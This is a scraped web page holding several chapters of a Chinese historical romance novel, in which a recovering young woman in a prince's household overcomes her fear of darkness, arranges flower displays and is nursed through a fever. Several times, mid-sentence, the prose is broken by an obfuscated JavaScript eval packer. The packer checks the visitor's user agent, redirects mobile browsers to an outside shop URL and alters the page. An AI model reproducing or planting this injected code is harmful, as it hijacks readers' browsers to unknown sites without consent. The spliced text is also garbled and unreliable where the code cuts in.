朱弘毅身上带着风尘仆仆、打猎归来的雪气,缓步走到了周妙雅的身边。 他未急着出声,目光先落在那幅墨梅图上。 他拿起细观,仔细端详着那画中笔触的转折,构图的留白,以及皲法擦除的细微之处,心中不觉为之一震。 这不仅仅是形似,更是神似,若非深知文老太爷真迹早已被文家珍藏,他几乎要以为这是文老太爷重出江湖了… 窗棂下,青年男女四目相对。 呼吸未动,心已先乱… 青黛见状,率先打破了这沉寂:“殿下,您回来了。” 朱弘毅微微颔首,目光却未曾从周妙雅身上移开半分。 青黛见这一幕,心知自己在此多余,便悄无声息地敛衽一礼,退了出去。 她心中暗暗想着,这样大病初愈的美人儿,她一个小丫鬟都我见犹怜,更何况是她家那正值青年,血气方刚的王爷。 直到青黛悄声掩上了房门,周妙雅还没回过神儿来。 自朱弘毅闯进暖阁,拿起画作细细端详时,她便已觉,此人气度不凡。 内心曾千万遍描摹自己救命恩人的模样,今朝终于得见,只是让她没想到…他的容貌…竟是这般清俊… 她好久才回过神来,忙俯身行礼道:“民女不知王爷驾到,失礼了。” 朱弘毅并未在意她失不失礼,他抬手将那幅墨梅图递到她面前,声音听不出喜怒:“你画的?” “民女闲来无事,胡乱涂画,恐污了王爷的眼。”周妙雅垂下双眸,谨慎回答着,长睫似蝶翼般轻颤,掩饰着内心的慌乱。 “胡乱涂画?”朱弘毅重复了一句,目光如炬,锐利的视线停在她耳尖薄红 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他余音未落,周妙雅却倏然抬眸,她眼中涌着复杂的情绪,似石子投入静水,心湖骤然泛起涟漪。 祖父…您可曾听见?世间仍有人识得您的笔意,将您的风骨记在心里。 她微微启唇,却没说话,只觉心潮剧烈翻涌,酸涩与暖意交织。 良久,才回过神儿来… 周妙雅压住了内心翻涌的情绪,逼回了眼底的泪意,缓缓启唇:“王爷谬赞,民女…愧不敢当。” “本王从不过誉。” 朱弘毅的声音恢复了一贯的平静,却多了一丝难以察觉的温柔:“你既有此才,便不必妄自菲薄。安心在府中养好身子,王府藏书楼中的藏画与典籍,你可随意取阅临摹,若有短缺,可让青黛告知长安。” 话尽,他未再留,只深深地望了她一眼,拂衣转身,步出了暖阁。 18. 第十八章 修养了几日之后,周妙雅已觉身子爽利了许多。 这日午后,天气正好。宁王既许了她可随意出入藏书楼,那她定是要去见识一下的。 宁王府的藏书楼,名为瀚海楼,它独立矗立于王府西侧,被一片精心打理的松竹园环抱着。 推开瀚海楼沉重的檀木大门,纸墨陈香混着草药的冷馨扑面而来,味道沉静而厚重,仿佛瞬间将外界的尘嚣隔绝开来。 举目望去,楼阁高深,通天的书架直抵藻井,其上经史典籍、字画匣椟琳琅满目、浩如烟海,一时竟望不到尽头。 周妙雅自幼就酷爱书画,文家因百年文脉,藏书已是颇丰,可如今跟这瀚海楼比起来,竟如溪流于之江海。 瀚海,果然名不虚传。 “姑娘,您慢慢看,奴婢就在外头候着。”青黛悄声道,乖巧地掩门退了出去。 午后的阳光透过高窗上糊着的浅云色软烟罗,为书海镀上一层静谧的光。 周妙雅沿着书架缓步而行,指尖轻轻滑过那些古朴精美的古籍画卷,目光所及,尽是些只闻其名、未见其迹的孤本,许多书画大家的珍品亦赫然在列。 她小心翼翼地抽出一卷,展开一看,竟是前朝山水大家黄公望的《雾江叠嶂图》真迹,但见墨色淋漓,层峦叠嶂隐于氤氲雾霭之中,虚实相生,意境幽远苍茫。 周妙雅下意识地临空比划着画中独特的笔法,感受着笔锋与山石摩擦的力度,想象着如果是自己临摹,应该怎样模仿其中的笔触,才能不失画中磅礴空灵的意境。 良久,她放下手中的山水画,继续搜寻着。窗边有一张宽大的花梨木书案,周妙雅将一幅她寻觅已久的《雪竹寒禽图》轻轻铺开,细细品味起来。画面上积雪压竹,一只孤禽瑟缩于枝头,构图极简,却将寒冻之境与生命的坚韧表达得淋漓尽致。 周妙雅完全沉浸于其中,她一会近距离地凝神细查画中的笔法,体会古人运笔的节奏与气韵。一会儿又忍不住起身,后退几步,远观画作整体的构图与气势。遇到特别心动的笔触,她就以自己大衫宽大的衣袖为纸,用手指在衣袖上悄悄描摹。 其中一幅最生动有趣的《独乐园图》,很是吸引她。这幅画不是古画,正是仇珍的父亲仇方所画,其中描绘了北宋名臣司马光最心爱的私家园林。 她将画卷徐展,一个幽静雅致、充满文人理想的世界在她眼前逐次鲜活起来。 她完全沉浸在了画中世界里。 画中司马光身着宽袍,倚栏观水,水流潺湲,仿佛能听到水击石岸的泠泠声响。 她轻轻将画卷再展,司马光的读书堂、钓鱼庵、种竹斋、采药圃、浇花亭与见山台,纷纷呈现在眼前,那场景惟妙惟肖。 最令周妙雅心动神驰的是,司马光的身影穿梭于这些场景之中,或读书、或闲坐、或远眺、或劳作…她完全沉醉其中,目光贪婪地捕捉着每一处细节——人物的表情、衣纹的线条、建筑的结构、花木的姿态… 她甚至忘记了时间,忘记了自己身在何处。 她俯身太久,直到腰肢酸疼才想起直背舒展一下,待她抬首时,才猛然惊觉窗外已是漆黑一片。 藏书楼内烛火尽灭、昏暗死寂,画卷中鲜活园林早已在浓稠的黑暗中骤然消失,冰冷高大的书架化身沉默的巨兽,狰狞着环伺四周,将她小小的身影层层围困。 周妙雅不禁后退了几步,身子重重撞上了冰冷的书架,身上不由自主地打起寒战。 背脊撞上书架的那一瞬,尘封的记忆突然如破笼猛兽般,咆哮着将她拖回文家那些不堪回首的记忆中… 那晚在文家的藏书楼,天也是这般黑… 那个逐渐逼近的、带着酒气和贪婪欲望的身影…文毓瑾那双布满血丝、充满了占有和侵犯的眼睛…那令人作呕的、喷在耳畔的灼热呼吸… “不…不要…”周妙雅猛地抱住自己的双臂,浑身开始剧烈地打颤,牙齿不受控制地磕碰在一起,发出细碎的声响。 她蜷缩着,一寸寸地把自己缩进书架投下的黑影里,她试图把自己藏起来,用来驱散眼前文毓瑾那令人窒息的身影。 就在她被恐怖的回忆彻底淹没,几乎要窒息的时候—— “吱呀——” 瀚海楼沉重的木门被从外面推开的声音,清晰地在寂静中响起。 一道修长挺拔的身影出现在门口,手中提着一盏昏 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“王…王爷…”她哽咽着,试图站起来,却发现腿软得厉害。 朱弘毅极其自然地伸出手将她扶起,温声道:“小心脚下,本王送你出去。” 他走在前面半步,用灯光为她引路。 周妙雅跟在他挺拔而稳重的身影后,黑暗被微弱的灯光驱散,剧烈颤抖的身体渐渐平息了下来。 一种前所未有的安心感,如同微暖的细流,悄然包裹住她惊魂未定的心。 她鬼使神差地,几乎是出于一种本能的对安全和依靠的渴望,悄悄地、极其小心翼翼地伸出了手,用冰凉的指尖,轻轻地、轻轻地拽住了他衣袖的一角。 她动作轻得像一片羽毛落下,带着无比的怯意和试探,仿佛一用力就会惊散这份来之不易的安全感。 朱弘毅的步伐似乎极难察觉地顿了一下,极其细微,细微到几乎让人以为是光影的晃动。 他没有回头,没有停下,更没有拂开她的手,只任由她拽着自己… 19. 第十九章 翌日,晨曦透过窗棂,在暖阁的地面上投下细碎的光斑。 时序入春,院中古腊梅残黄已退,唯春海棠开的正盛,粉白的花瓣缀着晨露,晶莹剔透。 王府的长史领着两名小厮,捧着一本厚重的锦册并几个紫檀木匣,步履恭敬地走了进来。 “周姑娘安。” 长史躬身行礼,声音温和且周到:“王爷吩咐,将瀚海楼内重要书画古籍整理成册子,特送来请您过目。” 他示意小厮将东西轻轻放在案上,继续道:“王爷说,楼宇深幽,光线不及此处明亮,姑娘的身子尚在恢复,不宜多受劳顿。您若想看哪一本书,观哪一幅画,只需在这册子上勾注,自会有人取出,妥善送至您房中翻阅。” 长史说罢,便恭敬退下了。 周妙雅走到案前,指尖拂过那本厚重的册子,翻开内页,一行行工整隽秀的小楷映入眼帘,详尽罗列着书画名称、作者、年代乃至简要特征,旁边甚至还空出一栏,用于钩选。 她的心中泛起一股暖意。 他…竟如此细心,全然洞悉了她昨日那不堪的惊惧与狼狈,并用这种极致体贴、全然维护她尊严的方式,为她铺就了一条安稳无忧的路。 她不必再踏入那令人心悸的黑暗,只需安坐明室,墨宝自会奉于眼前。 这份心意,重如山岳,柔若春水。 晚膳过后,王府各处渐次点起灯火,唯有西侧的松竹园,因着瀚海楼的所在,入夜后便更显幽深寂静。 周妙雅坐在窗边,看着窗外彻底沉入墨色的夜空,心跳随着更声,渐渐加快。 她想到自己坎坷的身世。 从出生,便没见过自己父母和亲人。 从她记事起,就被安排了往后的人生是要做文二郎的妻子,不会有别的人生轨迹。 自她清楚自知容色尚可时,便活在惊惧文大郎扭曲的占有欲和控制欲里。 什么?才是周妙雅自己所想所要的? 她向往青灯一盏,以画为伴的日子,她想克服恐惧、克服黑暗,真正走到画中的世界去,寻找真我。 白日的勇气,在阳光下似乎坚不可摧,但恐惧的根须,往往深扎在黑暗中,若只能在光明中行走,又如何能真正斩断那在心间盘踞的魑魅魍魉? 想到这里,她毅然站起身。 “姑娘?” 青黛讶异地看着她:“您要歇下了吗?” “不。” 周妙雅的声音在夜色中显得格外清晰:“我要去瀚海楼。” 青黛吓了一跳,脸上瞬间写满担忧:“姑娘,天色已晚,楼里又黑又静,您昨日才…不若明日奴婢多叫上几个人,陪着您一同去?” 周妙雅摇了摇头,目光投向窗外更深沉的黑暗,语气坚决:“不必,我一个人去。” 自己的心魔,只能自己克服。 她执意不让青黛跟随,只让她提了一盏小小的明角灯,送自己到松竹园的入口。 “在此等我。”她接过青黛手中那盏光线微弱、仅能照亮脚下几步路的明角灯,深吸了一口气,毅然步入了被竹影和夜色笼罩的小径。 瀚海楼巨大的轮廓在黑暗中显现,比白日里更显巍峨。 她停在楼前,仰头望去,楼内只有微弱的光亮,黑洞似的门窗仿佛能吞噬一切。 昨日那被冰冷书架包围、被绝望记忆侵袭的感觉再次袭来,让她手脚发凉,几乎想转身逃回温暖的灯火处。 她用力攥紧了手中的明角灯,像是与谁较劲般,猛地抬脚,踏上了第一级石阶。 “吱呀……” 木门的声音在万籁俱寂的夜里显得格外刺耳,惊得她心跳骤停。 门内是比外面更浓稠的黑暗,藏书楼怕火,故而不能点太多的灯,明角灯的那点微光,只能勉强照亮门口一小片地面。 她站在光与暗的交界处,一只脚在门槛内,一只脚在门外,恐惧如同冰冷的潮水,一波波冲击着她的理智。 进去。 她对自己说。 必须进去。 她死死咬住下唇,几乎是闭着眼,猛地迈出了一步,将自己彻底融入了黑暗之中。 她强迫自己移动脚步,朝着记忆中书案的方向慢慢挪去,脚步声在空旷的楼内回荡,显得异常响亮和孤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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恐惧仍在,但已不能再主宰她。 从今夜起,文毓瑾于她而言,只是一个可憎的过往,不再是她无法摆脱的梦魇。 她吹熄了明角灯里的烛火,拿起那幅陪她克服了恐惧的画卷,步伐沉稳地走向了瀚海楼的大门。 门外,月光如泻。 她深深呼吸着松竹林中散发出的竹叶的清香,感受着自己宛若重生般,是的,她确实重获了新生。 20. 第二十章 次日清晨,天光初透。 周妙雅醒的极早,并非因噩梦困扰,而是前所未有的宁静。 这是她坠崖之后,极少睡过的没有噩梦的安稳觉。 推开窗棂,湿润清冽的空气涌入,带着泥土和万物新生的气息。 庭院中,一株海棠开的灿烂而热烈,粉白的花瓣沐浴在晨曦中,焕发着欣欣向荣的生机。 一种强烈到近乎冲动的心绪涌上心头,她想将这满目蓬勃的春色,将这劫后重生的喜悦,分赠给那个予她新生的人。 晨光熹微,府中尚静谧,她步履轻快地穿过回廊,来到那株开得最盛的海棠树下。 仰头望去,繁花似锦,几乎遮蔽了晨空。 她仔细挑选着,目光流转,最终定格在向阳处一枝姿态极佳的花枝上,它并非开得最密,却疏落有致,花朵半开未开,饱含着无限生机与希望。 她踮起脚尖,小心翼翼地避开旁枝,指尖轻轻用力,折下了那一枝春色。 海棠花枝在她手中微微颤动,露水滚落,沾湿了她的指尖,带来冰凉的触感,仿佛带着生命的温度。 她握着这支海棠,如同握着心中的一束光,转身便朝着朱弘毅的书房走去。 她此刻的心境与昨夜截然不同,不再有挣扎与恐惧,只有一片澄澈的,想要见他的期待。 她行至朱弘毅书房的院门前,却听得院内传来破风之声,清锐急促,隐有金石之音。 她悄然步入月洞门,不由得顿住了脚步。 只见庭院之中,朱弘毅一身玄色劲装,并未披外袍,他身形挺拔利落,正手持一柄长剑,剑锋在晨光中起起伏伏,扫荡回旋。 周妙雅屏息站在廊下,不禁看得入了神。 原来他还有这样不为人知的一面… 世人眼中的他,是吃着皇粮养尊处优、闲散度日的王爷,这种人向来不被士林学子,清流官员的士大夫风骨所容。 但她眼中所见的朱弘毅却不一样,只有在他挥舞长剑的那一霎那,让她窥见了他骨血里那份被刻意掩藏的,欲保家卫国的凌云之志。 朱弘毅似有所觉,剑势倏然一收,归剑入鞘,动作行云流水,方才的凛冽气息瞬间收敛,他转头望向月洞门下那道捧着花枝的倩影,眼底闪过一丝讶异,随即化为清浅的暖意。 “怎么过来了?” 他声音带着舞剑后微哑的磁性,缓步走近,额角有细密汗珠,气息却依旧平稳。 周妙雅微微垂首,将手中带着晨露的海棠花枝递上前,声音轻柔:“冬去春来,万物焕发生机,民女见院中海棠开得正好,想着…或许能为王爷的书房,换上一份新的清供。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929304|192608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 朱弘毅的视线掠过她低垂的睫羽与那支含露的海棠,胸口似被软絮轻撞了一般。 他接过花枝,指尖不经意触碰到她微凉的指尖,两人皆是一顿。 “有心了。” 他语气平淡,却侧身让开一步:“随我来。” 周妙雅跟着他走进书房,这是她第一次踏入这里,陈设简洁雅致,书卷气息浓郁,却并无过多奢靡装饰。 她寻了一个天青釉的玉壶春瓶,注入清水,将海棠花枝小心翼翼地插入瓶中,调整着角度与疏密,又寻了一组山石放在旁边,以做点缀。她神情专注,仿佛在完成一幅精妙的画作。 朱弘毅并未打扰,只在一旁静静看着,阳光透过窗格,在她周身勾勒出一圈柔和的光晕。 “好了。”周妙雅退开一步,轻声说道。 那支海棠在素雅的书房中顿时成为焦点,为这略显沉静的屋子里注入了盎然的春意与活力。 朱弘毅走近,目光落在清供上,颔首赞道:“疏影横斜,暗香浮动,你的品味极好。” 他顿了顿,看向她,语气自然而郑重:“日后,这府中的四时清供,便都交由你来打理,可好?” 周妙雅闻言,下意识地低下头,脸颊微热,心中涌起一丝被认可的快慰,轻声应道:“是,民女遵命。” 21. 第二十一章 自接了四时清供的差事,周妙雅在王府的生活逐渐忙碌了起来,却也乐得其中。 布置清供不光要选花材,还要讲究“花,器对半”,即所选插花的器皿也同样重要,根据不同的花材,搭配不同的器皿。 除了花与器,清供还需结合周围摆放的古器物,绘画,书法,室内陈设等多种物件同时创作,并结合整体的家居环境进行布置。 此时正值春色浓郁,周妙雅带着青黛在宁王府的花园中游走。玉兰清雅,桃杏娇艳,皆要亲自见其形态风致,方能取舍。 择定了花,便要去库房甄选瓶器,官窑的单色釉,哥窑的金丝铁线,或是质朴的陶罐,厚重的青铜器,需与花材气质相合,方能成就器口生辉。 光是这些还不够,真正的清供讲究画境生趣。她还得去瀚海楼翻阅墨宝,寻一幅意境相投的古画作为背景。或是宋人的折枝花鸟,或是元人的丹青山水,以画意提升整体清供的格调。 周妙雅的倩影每日穿梭于花园,库房与瀚海楼之间。才不过几日,宁王府的下人们便常见到这样一幅景象:那位容色倾城的周姑娘,或是带着丫鬟青黛在花丛间驻足凝眸,或是于库房中对着一排排瓷器细细打量,或埋首在瀚海楼浩瀚的书架中,仔细挑选历朝历代的文人墨宝。 这日,周妙雅正从库房出来,手中捧着一只选定的钧窑天青釉玉壶春瓶,欲回暖阁比对花枝。她与青黛行至一处抄手游廊,便听得假山后传来低语,声音虽刻意压着,但在寂静的廊庑间,还是清晰地飘入了耳中: “瞧见没?周姑娘方才又去瀚海楼了,手里还捧着两卷画轴呢!”一个小丫鬟借着修剪花枝的由头,凑到同伴身边,声音里是按捺不住的兴奋。 “王爷待她,当真不同,那日长史亲自捧着书画册子送去暖阁,说是姑娘要看什么,勾选便是,自有人取来,这般体贴,几时见过?”小丫鬟身边的同伴立刻凑了上来,同她窃窃私语道。 “你们啊,是真不知道…” 一旁扫地的婆子,也凑了过来:“老身我在这王府伺候了十多年了,要说咱这王府,比和尚庙好不到哪去。自打先帝龙驭上宾,咱们王爷出宫开府,你们何曾见过有年轻女子能在内院这般自在行走?自开府以来,府中便似断了女色一般,莫说姬妾,便是年轻些的丫鬟也屈指可数,内院常年由小厮打理,清寂得如同古刹,王爷的书房,也只让长安那几个小子靠近…” 那剪花枝的小丫鬟立刻凑上来说道:“谁说不是呢,这府里的丫鬟,就咱们几个…除了青黛姐姐,哪还有平日里能近的了王爷身的?” “可我听说那周姑娘,能进王爷的书房呢!我听打扫书房的小六子说,他亲眼瞧见,姑娘捧着一支带露的海棠,王爷亲自开的门,这可是破天荒头一遭!”小丫鬟身边的同伴接过话,好奇地分享她听来的见闻。 那剪花枝的小丫鬟继续说道:“那周姑娘可真是美人儿,像是忽然从天而降的仙娥,把这满园的春色都比了下去,怪不得王爷待她这般特别!” “哎…你们说…” 小丫鬟身边的同伴突然压低声音,顾做神秘道:“这王府,也没有个女主人,王爷不光没有王妃,连姬妾也没有一个,通房丫鬟更是没有,这周姑娘……” 那扫地的婆子立刻瞧了瞧四周,叮嘱两个小丫鬟:“嘘!小声些,慎言。不过说真的,周姑娘人瞧着极好,安安静静的,每次遇见都微微颔首,一点架子都没有。也不知是何等来历,竟能让咱们王爷如此另眼相看……总归啊,她是王爷的贵客。咱们只管万分仔细地当差,可不敢有丝毫怠慢。” 青黛听到这些下人们私下言语,脸色微变,担忧地看向周妙雅,欲要出声呵斥。 周妙雅却轻轻摇了摇头,示意她不必。与在文府时听到那些“狐媚”,“祸水”的恶毒揣测不同,如今这些带着好奇与惊异的议论,于她而言,不过是过眼云烟罢了。 只是当她听到王府中从未有过女眷,甚至连姬妾都没有,而王爷却独独待她这般特殊时…周妙雅捧着玉壶春瓶的指尖,下意识地收紧… 一股热意毫无征兆地涌上双颊,烧得她耳根子都微微发烫,她慌忙垂下眼睫,试图遮掩瞬间的慌乱。 “姑娘?”青黛担忧地轻唤了一声。 周妙雅猛地回过神,意识到自己竟在游廊下为这等心思失神,越发羞窘。 她强自镇定地摇了摇头,示意青黛无事,脚步却不由自主地加快了几分,仿佛要逃离身后那番让她心绪大乱的议论。 ———— 几日下来,宁王府各处重要的厅堂,书房,乃至通往内院的廊庑转角,都悄然换上了应季的清供。 朱弘毅书房的书架上,原先厚重的古铜器被撤下,改供一枝斜逸而出的白玉兰,用天青釉弦纹瓶承着,缀以一幅《空山听泉图》。玉兰的清冷孤高与画中山水的空灵相得益彰,使得原本肃穆的书房平添了几分文人雅趣。 琴桌随之横移至窗前,上置仲尼式古琴一张,窗棂半掩,午后晴光斜落,琴弦映着玉兰花影,春风拂过,仿若一室清声。 待客的花厅中,案陈时果清供,壁悬山水字画,用粉嫩的春海棠配以甜白釉玉壶春瓶,明媚而不失雅致。 就连廊下转角处,她也细心地点缀了用青瓷小罐供养的几株蒲草,野趣盎然。 这些变化,悄无声息,却润物细无声地改变着王府的氛围。府中长史、典簿等有品级的属官,平日进出王爷书房议事,最先察觉到此间气象一新。 这日,长史和典簿从书房出来,路过花厅时,不禁驻足,目光被那瓶海棠清供所吸引,典簿张大人颔首赞道:“近日来,老夫见府中这清供布置得极妙,花器相得益彰,画境呼应,颇有几分前朝林泉高致的神韵,不知是哪位高人所为?” 长史闻言,脸上不由露出几分与有荣焉的笑意,抚须答道:“张大人好眼力,此乃暂居府中的周姑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933620|192608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘所设,王爷将府中四时清供一应事务,都交予姑娘打理了。” “哦?” 张大人眼中闪过讶异,随即化为欣赏:“竟是位姑娘?难得,难得!眼光,品味俱是上乘,更难得的是这份玲珑心窍,将王爷的喜好与府中气度把握得如此精准,王爷得此知音,实乃雅事!” 此类夸赞,并非个例,渐渐地,王府上下,从有品级的官员到有头脸的管事,都知晓了这位周姑娘不仅容貌出众,更有超凡脱俗的审美,将王府点缀得清雅不凡。 这日午后,朱弘毅在书房处理完几件公务,正倚窗闲翻一本古籍,长史便进来回话,事毕,并未立刻退下,而是带着几分笑意,仿佛闲谈般提起:“王爷,近日张典簿瞧见花厅那盆海棠清供,赞不绝口,直问是哪位高人的手笔,说是意境格调,皆非凡品。” 朱弘毅目光未离书页,只淡淡嗯了一声。 长史察言观色,继续道:“下官据实相告,说是周姑娘布置的,张典簿很是惊讶,连声夸赞周姑娘眼光独到,心窍玲珑,说是……” 他略一停顿,将那位张典簿的话修饰得更为得体:“……说是府上添了如此雅趣,实乃风雅盛事。” 朱弘毅依旧没抬头,只是唇角似乎极轻微地向上牵动了一下,宛若春风拂过湖面,漾起一丝几乎看不见的涟漪。他挥了挥手,长史便会意,恭敬地退了出去。 书房内重归寂静,朱弘毅却有些看不进书了。他放下书卷,起身走到窗边,目光落向外间廊下那一盆新换的菖蒲,青翠欲滴,配着拙朴的陶罐,别有一番野趣。 这自然也是出自她的手笔。 类似的夸赞,他已不是第一次听闻,属官们的惊叹,下人们的佩服,都如同细密的暖流,悄然汇入他心底。 在周妙雅昏迷不醒的那段时日,他早已让长安将她在文家的遭遇查得一清二楚,那份详细的禀报,他看了不止一遍,虎丘诗会上的惊才绝艳,随之而来的嫉妒与欺凌,文毓瑾那看似温文尔雅实则步步紧逼的掌控与骚扰,文毓瑜幼稚却恶毒的刁难,康婧瑶新婚夜的迁怒与后续的排挤,乃至代王逼迫退婚,老太太气死,灵堂受辱,被发卖……一桩桩,一件件,都如同烙印般刻在他的心上。 忽然间,他好似想起了什么。 他从书桌的抽屉中取出了一张薄如蝉翼的宣纸,那纸上赫然写着一个小纂“周”字。 那字与周妙雅玉佩上的一模一样,仿佛是从玉佩上拓印下来的。 记忆又回到了那夜风雪中的破庙,乱草覆盖下,满身伤痕的女子,手中死死攥着那枚玉佩。 纷乱的思绪又将他带到那日打猎归来,廊下第一次见到她的情景。 很像,眉眼,鼻子,嘴巴,生的都和那人都很像… 周妙雅—— 他心中一遍又一遍地默念着她的名字。 如果你是周家唯一存活于世的血脉,那从今往后,便由我来守护你吧。 22. 第二十二章 连日来为布置清供之事操心劳力,周妙雅原本就未曾完全康复的身子,终究是有些撑不住了。 这日清晨,她勉强起身,只觉得头重脚轻,眼前阵阵发黑,还未走到窗边,便是一阵天旋地转,软软地倒了下去。 “姑娘!”青黛惊呼着跑了过来,忙将她扶上床榻,她伸手探了探周妙雅的额角,发现滚烫如火。 朱弘毅一大早就出门了,京城琉璃厂书画行的行首姚老先生,今日新得了一幅高古山水,特意组了雅集,邀请他的老主顾们一同赏鉴。 雅集这边刚刚开始,座上宾才上坐,画还没拿出来,就见长安慌慌张张地跑了过来,与朱弘毅耳语道:“王爷,府里传来消息,周姑娘…病倒了…” 朱弘毅听闻,神色一凛,忙起身向姚老先生辞行:“小王家中有急事,需得先行一步。” 说罢便匆匆离去。 “哎,王爷,这画……”姚老先生挽留之言还没说完,却见朱弘毅身影已消失。 朱弘毅策马疾驰回府,王老太医也被急召入府,诊脉后说是劳神过度,兼之此前坠崖重伤,元气未复,邪风入体,引发了急症高热,需得好生静养,不能再劳心费力。 朱弘毅眉头深锁,挥退了太医,竟没有离开,而是在周妙雅床榻边的梨木凳上坐了下来。 “王爷,这些粗活还是让奴婢来吧……”青黛看着朱弘毅亲自拧了帕子,敷在周妙雅滚烫的额上,有些手足无措。 “无妨。”朱弘毅声音低沉,目光落在周妙雅因高热而泛着红晕的脸上,比起雅集上的应酬,此刻照料病榻似乎更让他上心。 “她既在王府病倒,本王总不能置之不理。”他的话虽平淡,语气却很坚决,青黛只得惴惴地退到一旁。 两日后,流言在府里的下人中间悄悄炸了锅… 王爷竟把平日里最爱的诗酒局全推了,整日窝在暖阁,亲自为那位周姑娘换帕子,试水温,连周姑娘梦里喊一句渴,他都低头将温热的清水一勺一勺地喂到她唇边,生怕惊了她的呓语。 他照顾人的动作明显有些生涩,却极其专注,见周妙雅昏沉中辗转反侧,他会下意识地伸手,轻轻按住被角,低声安抚着:“无事,睡吧。” 那语气温柔得连他自己都未察觉。 周妙雅陷在光怪陆离的梦境里,时而冷如冰窟,时而热如火海。混沌中,她好像在海上漂泊的浮木,死死抓住了朱弘毅的手。 朱弘毅没有躲闪,就那么任凭她抓着,周妙雅好似抓住了救命稻草般,紧绷的身体逐渐放松下来,连呼吸也逐渐平顺了很多。 直到第三日,高热终于退去,周妙雅悠悠转醒,只觉得浑身酸软无力,但那股灼人的燥热已然消散。 她缓缓睁开眼,居然看到了朱弘毅伏在她床沿边小憩。 她惊觉两人的手紧握在一起,那交握的姿态,分明是她五指蜷缩,紧紧攥住了他的手指。 混沌的记忆涌上心头:梦中冰火交织的痛苦彷徨,似乎总有一份坚定可靠的温暖在身边,让她如同溺水之人抓住浮木般死死攥住… 那竟然不是梦! 周妙雅瞬间心跳加速,她第一反应是想将自己的手抽回来,可她才微微一动,他掌心的力道便像是有所察觉了一般,竟收紧了些,虽未弄疼她,却像是在强势的守护她。 周妙雅只觉得脸上刚退下去的热度,又轰地一下卷土重来,比发烧时更甚,一路从脸颊蔓延到耳根,脖颈。 就在这时,朱弘毅的睫毛颤了颤,似乎要醒来。 她立马闭上了双眼。 黑暗中,她感觉到他的动作停顿了片刻,随即,那道深沉的目光落在了她的脸上,紧接着,她攥着他的手指被极为轻柔地,一根一根地松开。 手被妥帖地放回锦被中,又被细心地掖好被角,她感觉到他起身的细微动静,听到他刻意放轻的脚步走向外间,压低声音吩咐青黛:“姑娘醒了,去把温着的药端来。” 直到脚步声远去,周妙雅猛地将滚烫的脸埋进带着药香的被子里,被松开的手下意识地蜷缩起来,那上面还残留着他掌心的温度与触感。 羞死人了… 青黛捧着药碗,脸上带着压不住的笑意,激动说道:“阿弥陀佛,姑娘您可算醒了,您昏迷这两日,可把王爷惦记坏了!” 可是她一进门,却看到周妙雅把头死死埋在被子里。 青黛见状,疾步上前,语气焦急道:“姑娘!您怎么了?姑娘!” 周妙雅这才把覆在头上的锦被拿开,露出因羞涩涨的通红的小脸儿。 青黛将周妙雅扶起,周妙雅半倚着,手里捧着瓷碗,听青黛讲着:“您是高热昏沉不知道,王爷守了您大半时候呢!奴婢都不敢说,其实……其实之前您昏迷那三个月,王爷也常来看您,有时还亲自给您换药……只是王爷吩咐了,不让奴婢们多嘴。” 周妙雅闻言,脸颊瞬间烧得滚烫,她捧着温热的药碗,心口怦怦跳的厉害。 她小口小口地喝着药,耳根的红晕久久未退。 “姑娘,您脸怎么还这么红?是不是又烧起来了?”青黛担忧地伸手想探她额温。 “没、没有!” 周妙雅下意识地偏头躲开,声音羞涩:“只是…只是药太苦了。” 她胡乱找了个借口,连忙将最后一点药汁饮尽,仿若这样就能掩盖内心的兵荒马乱。 ———— 又静养了三四日,周妙雅的气色好了起来,身上也有了力气。 这日午后,阳光正好,周妙雅鼓足勇气,想向朱弘毅表达谢意。 她特意换上了一身新裁的浅碧色立领斜襟大衫,衬得她病后初愈的肌肤愈发白皙剔透,对镜梳妆时,指尖在胭脂盒上徘徊了许久,最终只极淡地扫了一点在唇上,让自己看起来气色好些,又不至于太过刻意。 她亲手捧着一卷画,来到朱弘毅书房外,此刻她心跳得厉害,她悄然在月洞门外停下,深呼吸了好久,才缓步走入。 朱弘毅正临窗而立,看着一卷棋谱,身姿挺拔,侧颜在光影下显得格外清俊,听到脚步声,他并未立刻回头。 周妙雅走到他身后不远处,声音比平时软了三分:“王爷。” 朱弘毅这才转过身,目光落在她身上时,似乎微微停顿了一瞬。 眼前的少女,比病前更添了几分弱柳扶风的娇柔,眼眸明亮,唇色嫣然,静静地站在那里。 “身子可大好了?”他的声音依旧平淡,但若细听,似乎比往常少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938733|192608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了几分清冷。 “托王爷的福,已无碍了。”周妙雅微微垂首,捧着画卷的指尖微微蜷紧,显露出内心的紧张。 